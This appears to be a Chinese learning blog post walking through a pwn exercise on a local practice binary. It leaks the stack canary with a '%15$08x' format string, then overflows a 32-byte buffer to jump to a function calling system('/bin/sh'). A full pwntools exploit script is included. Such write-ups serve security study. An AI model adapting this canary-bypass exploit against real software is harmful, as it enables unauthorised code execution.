pwn学习总结 栈溢出,canary绕过和格式化字符串

pwn学习总结 栈溢出,canary绕过和格式化字符串

1. checksec看一下保护

在这里插入图片描述

  • 开启了Canary和NX
  • 有canary保护
  • 并且堆栈不可执行
  • PIE没有开,可以直接使用函数地址

2. IDA 看一下

在这里插入图片描述

在这里插入图片描述

  • 可以看到read函数可以读入0x50长度的字符
  • buf的空间只有32,可以溢出
  • 但是要绕过canary
  • 所以我用gdb动态调试一下
    在这里插入图片描述
  • 接着我们又看到了exploit函数
  • 里面有system("/bin/sh")
  • 可以获取权限
  • 那么整个溢出的思路就有了
  • 先找到canary的偏移
  • 再利用printf格式化字符串泄露canary的地址
  • 再构造payload
  • 那么payload = 垃圾数据 + canary + 垃圾数据 + expolit函数地址

3. gdb动态调试

在这里插入图片描述

3.1. gdb打开canary1文件,断点先下在main函数上

  • 开始执行gdb调试
    在这里插入图片描述

3.2. disass命令查看一下func函数的汇编代码

在这里插入图片描述

3.3. 首先看一下canary的偏移是多少

  • 所以我把断点下在printf函数前 在这里插入图片描述

3.4. 在上面的func函数的汇编代码中可以看到canary的偏移量是多少

在这里插入图片描述

  • canary放到了[ebp - 0xc]这个位置上

3.5. 看一下canary的地址

在这里插入图片描述

3.6. 看一下栈,计算一下溢出量

在这里插入图片描述

  • 先看一下canary需要泄露多少数据
  • 数一下知道是15个
(gdb) %15$08x
  • 用printf函数就可以泄露到canary的地址
    在这里插入图片描述
  • 可以看到我们已经拿到了canary
    在这里插入图片描述
  • 我打入的Microsoft是在0xffffd11c
  • 返回地址是0xffffd14c
  • canary的地址是0ffffd13c
  • 数一下
  • 需要覆盖4*8字节
  • 然后加上canary
  • 再填入垃圾数据3*4字节
  • 最后加上返回地址
    在这里插入图片描述

addr_exploit = 0x565561c9

4. exp入下

from pwn import *
p = process("./canary")
addr_exploit = 0x565561c9
str = "%15$08x"
p.sendline(str)
canary = int(p.recv(),16)
print(canary)
payload = 32 * 'a' + p32(canary) + 12 * 'a' + p32(0x565561c9)
p.sendline(payload)
p.interactive()

5.运行脚本

在这里插入图片描述
可以看到我们已经成功地获取到本机权限

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值